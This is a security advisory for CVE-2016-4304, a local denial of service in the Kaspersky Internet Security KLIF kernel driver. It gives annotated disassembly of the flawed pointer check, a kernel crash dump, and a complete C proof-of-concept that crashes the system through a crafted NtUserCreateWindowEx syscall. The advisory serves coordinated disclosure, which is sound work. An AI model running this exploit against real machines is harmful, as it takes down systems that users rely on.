CVE-2016-4304
A denial of service vulnerability exists in the syscall filtering functionality of the Kaspersky Internet Security KLIF driver. A specially crafted native api call request can cause a access violation exception in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mode to trigger this vulnerability.
Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532
5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
This vulnerability can be triggered by sending specially crafted NtUserCreateWindowEx call. Kaspersky Internet Security on x86 platforms by default hooks internal Windows kernel functions. This includes functions from KiServiceTable and W32pServiceTable. Even though new function hooks point to the KLHK driver the real handlers are located in the KLIF driver - KLHK driver acts more like a dispatcher.
The faulting code or rather codes are located in the KLIF driver in a function responsible for filtering the NtUserCreateWindowEx:
Denial of Service location 1:
.text:00034BE7 mov edi, [ebp+arg_8_plstrClsVersion]
.text:00034BEA mov [ebp+var_C], eax
.text:00034BED mov [ebp+var_8], eax
.text:00034BF0 mov [ebp+P], eax
.text:00034BF3 mov [ebp+var_18], eax
.text:00034BF6 mov [ebp+var_14], eax
.text:00034BF9 mov [ebp+var_10], eax
.text:00034BFC mov ebx, eax
.text:00034BFE test edi, edi
.text:00034C00 jz short loc_34C3B
.text:00034C02 push edi
.text:00034C03 lea eax, [ebp+var_C]
.text:00034C06 push eax
.text:00034C07 call TestPtrAndCopy
.text:00034C0C test eax, eax
.text:00034C0E js short loc_34C3B
.text:00034C10 mov edx, [ebp+var_C]
.text:00034C13 mov ecx, [edi+8] ; *** AV HERE ***
Denial of Service location 2:
.text:00034C3B mov esi, [ebp+arg_C_plstrWindowName]
.text:00034C3E test esi, esi
.text:00034C40 jz short loc_34C7B
.text:00034C42 push esi
.text:00034C43 lea eax, [ebp+var_18]
.text:00034C46 push eax
.text:00034C47 call TestPtrAndCopy
.text:00034C4C test eax, eax
.text:00034C4E js short loc_34C7B
.text:00034C50 mov edx, [ebp+var_18]
.text:00034C53 mov ecx, [esi+8] ; *** AV HERE ***
Variables arg_8_plstrClsVersion and arg_C_plstrWindowName are arguments of the NtUserCreateWindowEx call. They both are defined as pointers to unicode strings.
Kaspersky checks in the TestPtrAndCopy function whether the provided pointer resides in the user space and whether first 4 bytes are readable:
.text:00040434 mov ecx, [ebp+arg_4_SuppliedPointer]
.text:00040437 mov eax, ds:MmUserProbeAddress
.text:0004043C cmp ecx, [eax]
.text:0004043E jb short read_ptr
.text:00040440 mov eax, 0C0000005h
.text:00040445 jmp short bad_ptr
.text:00040447 ; ---------------------------------------------------------------------------
.text:00040447
.text:00040447 read_ptr: ; CODE XREF: TestPtrAndCopy+18j
.text:00040447 mov [ebp+ms_exc.registration.TryLevel], edx
.text:0004044A mov ecx, [ecx]
.text:0004044C mov eax, [ebp+arg_0]
.text:0004044F mov [eax], ecx
However this check is not enough since only 4 bytes are tested and later on Kaspersky tries to access the dword located at offset +0x8 which wasn’t validated. This can lead to local denial of serivice attack when the memory located at offset +0x8 is not accessible.
This vulnerability can be triggered either by forging the arg_8_plstrClsVersion argument or the arg_C_plstrWindowName argument.
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000
Debugging Details:
------------------
*** WARNING: Unable to verify checksum for poc_kaspersky1.exe
*** ERROR: Module load completed but symbols could not be loaded for poc_kaspersky1.exe
PROCESS_NAME: poc_kaspersky1
FAULTING_IP:
klif+24c13
8ca57c13 8b4f08 mov ecx,dword ptr [edi+8]
ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 003c1001
READ_ADDRESS: 003c1001
FOLLOWUP_IP:
klif+24c13
8ca57c13 8b4f08 mov ecx,dword ptr [edi+8]
BUGCHECK_STR: ACCESS_VIOLATION
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre
LAST_CONTROL_TRANSFER: from 8cb2a05a to 8ca57c13
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
96c27b70 8cb2a05a 00000200 002df71c 003c0ff9 klif+0x24c13
96c27bbc 8cb2b206 8ca57bda 96c27bf8 0000003c klhk!Ordinal11+0x1a
96c27bd8 8cb2a01f 868509f0 96c27bf8 96c27bec klhk!Ordinal11+0x11c6
96c27bf0 828531ea 00000200 002df71c 003c0ff9 klhk+0x101f
96c27bf0 776f70b4 00000200 002df71c 003c0ff9 nt!KiFastCallEntry+0x12a
002df680 77815679 01121039 00000200 002df71c ntdll!KiFastSystemCallRet
002df684 01121039 00000200 002df71c 003c0ff9 USER32!NtUserInvalidateRect+0xc
002df6c8 011211a6 00001169 00000200 002df71c poc_kaspersky1+0x1039
002df76c 011211fc 01121b57 00000001 006d1930 poc_kaspersky1+0x11a6
002df7bc 01121a2f 002df7d0 77623c45 7ffdf000 poc_kaspersky1+0x11fc
002df7c4 77623c45 7ffdf000 002df810 777137f5 poc_kaspersky1+0x1a2f
002df7d0 777137f5 7ffdf000 775d9327 00000000 kernel32!BaseThreadInitThunk+0xe
002df810 777137c8 01121a20 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
002df828 00000000 01121a20 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: klif+24c13
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: klif
IMAGE_NAME: klif.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 563cb397
IMAGE_VERSION: 10.0.0.1532
FAILURE_BUCKET_ID: ACCESS_VIOLATION_klif+24c13
BUCKET_ID: ACCESS_VIOLATION_klif+24c13
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:access_violation_klif+24c13
FAILURE_ID_HASH: {8df03fe2-00a6-85bc-7dc2-67304e3d5aab}
Followup: MachineOwner
---------
#include <stdio.h>
#include <conio.h>
#include <windows.h>
typedef DWORD UARCH;
typedef BYTE UCHAR;
#ifndef __UNICODE_STRING_DEFINED__
#define __UNICODE_STRING_DEFINED__
typedef struct _UNICODE_STRING {
USHORT Length; /* bytes */
USHORT MaximumLength; /* bytes */
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#endif
#define ARG_START (4*3)
DWORD _SyscallStub = 0;
DWORD CreateWindowSyscallNum = 0x1169; // windows 7 sp1 x86
_declspec(naked) UARCH CallSyscall32_EXT(UINT32 SyscallNumber,
UARCH Arg1,
UARCH Arg2,
UARCH Arg3,
UARCH Arg4,
UARCH Arg5,
UARCH Arg6,
UARCH Arg7,
UARCH Arg8,
UARCH Arg9,
UARCH Arg10,
UARCH Arg11,
UARCH Arg12,
UARCH Arg13,
UARCH Arg14,
UARCH Arg15)
{
_asm
{
; we cant use registers here (ebx, esi, edi, ebp*) sorry or everything will start crashing
push ebp
mov ebp, esp
; stack[arguments]
//int 3
push [ebp + ARG_START + (4 * 14)]
push [ebp + ARG_START + (4 * 13)]
push [ebp + ARG_START + (4 * 12)]
push [ebp + ARG_START + (4 * 11)]
push [ebp + ARG_START + (4 * 10)]
push [ebp + ARG_START + (4 * 9)]
push [ebp + ARG_START + (4 * 8)]
push [ebp + ARG_START + (4 * 7)]
push [ebp + ARG_START + (4 * 6)]
push [ebp + ARG_START + (4 * 5)]
push [ebp + ARG_START + (4 * 4)]
push [ebp + ARG_START + (4 * 3)]
push [ebp + ARG_START + (4 * 2)]
push [ebp + ARG_START + (4 * 1)]
push [ebp + ARG_START + (4 * 0)]
mov eax, [ebp + 8] ; syscall number
call dword ptr[_SyscallStub]
mov esp, ebp
pop ebp
ret 4 + (4*15)
}
}
int GetSyscallStub(void)
{
DWORD temp = (DWORD)GetProcAddress((HMODULE)LoadLibrary("user32.dll"), "InvalidateRect");
if (!temp)
{
printf(__FUNCTION__": unable to get syscall stub \r\n");
exit(-1);
}
_SyscallStub = temp + 5;
return 1;
}
int ProtectMemory(PVOID Mem, DWORD Size, DWORD ProtectRights)
{
DWORD oldp;
if (VirtualProtect(Mem, Size, ProtectRights, &oldp) != 0)
return 1;
return 0;
}
void crash_kaspersky(void)
{
WNDCLASSEX wcex;
char WND_CLASS[] = "WWW";
ZeroMemory(&wcex, sizeof(wcex));
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)&crash_kaspersky;
wcex.hInstance = (HINSTANCE)GetModuleHandle(NULL);
wcex.lpszClassName = WND_CLASS;
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wcex.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
wcex.hCursor = LoadCursor (NULL, IDC_ARROW) ;
if (RegisterClassEx(&wcex) == NULL)
{
printf(__FUNCTION__": error - RegisterClassEx() error code %d\n", GetLastError());
return;
}
UNICODE_STRING us1;
wchar_t out_str[] = L"WWW";
us1.Buffer = out_str;
us1.MaximumLength = us1.Length = lstrlenW(out_str);
UCHAR *bad_pages = (UCHAR*)VirtualAlloc(0, 4096 * 2, MEM_COMMIT, PAGE_READWRITE);
memset(bad_pages, 0x8, 4096 * 2);
ProtectMemory((PVOID)&bad_pages[4096], 4096, PAGE_NOACCESS);
UCHAR *bad = (UCHAR*)&bad_pages[4096 - 7];
DWORD style = WS_CAPTION | WS_SYSMENU | WS_GROUP;
DWORD ret = CallSyscall32_EXT(CreateWindowSyscallNum,
WS_EX_CLIENTEDGE, // ex style
(UARCH)&us1, // class name // this does not trigger the bug
(UARCH)bad, // plstrClsVersion // bug here tested
(UARCH)&us1, // plstrWindowName // bug here tested
style,
0x10,
0x20,
0x30,
0x40,
NULL, //hParent
NULL, //hMenu
(UARCH)GetModuleHandle(NULL),
0,
0x400,
0);
}
int main(void)
{
GetSyscallStub();
crash_kaspersky();
return 0;
}
2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure
Discovered by Piotr Bania of Cisco Talos.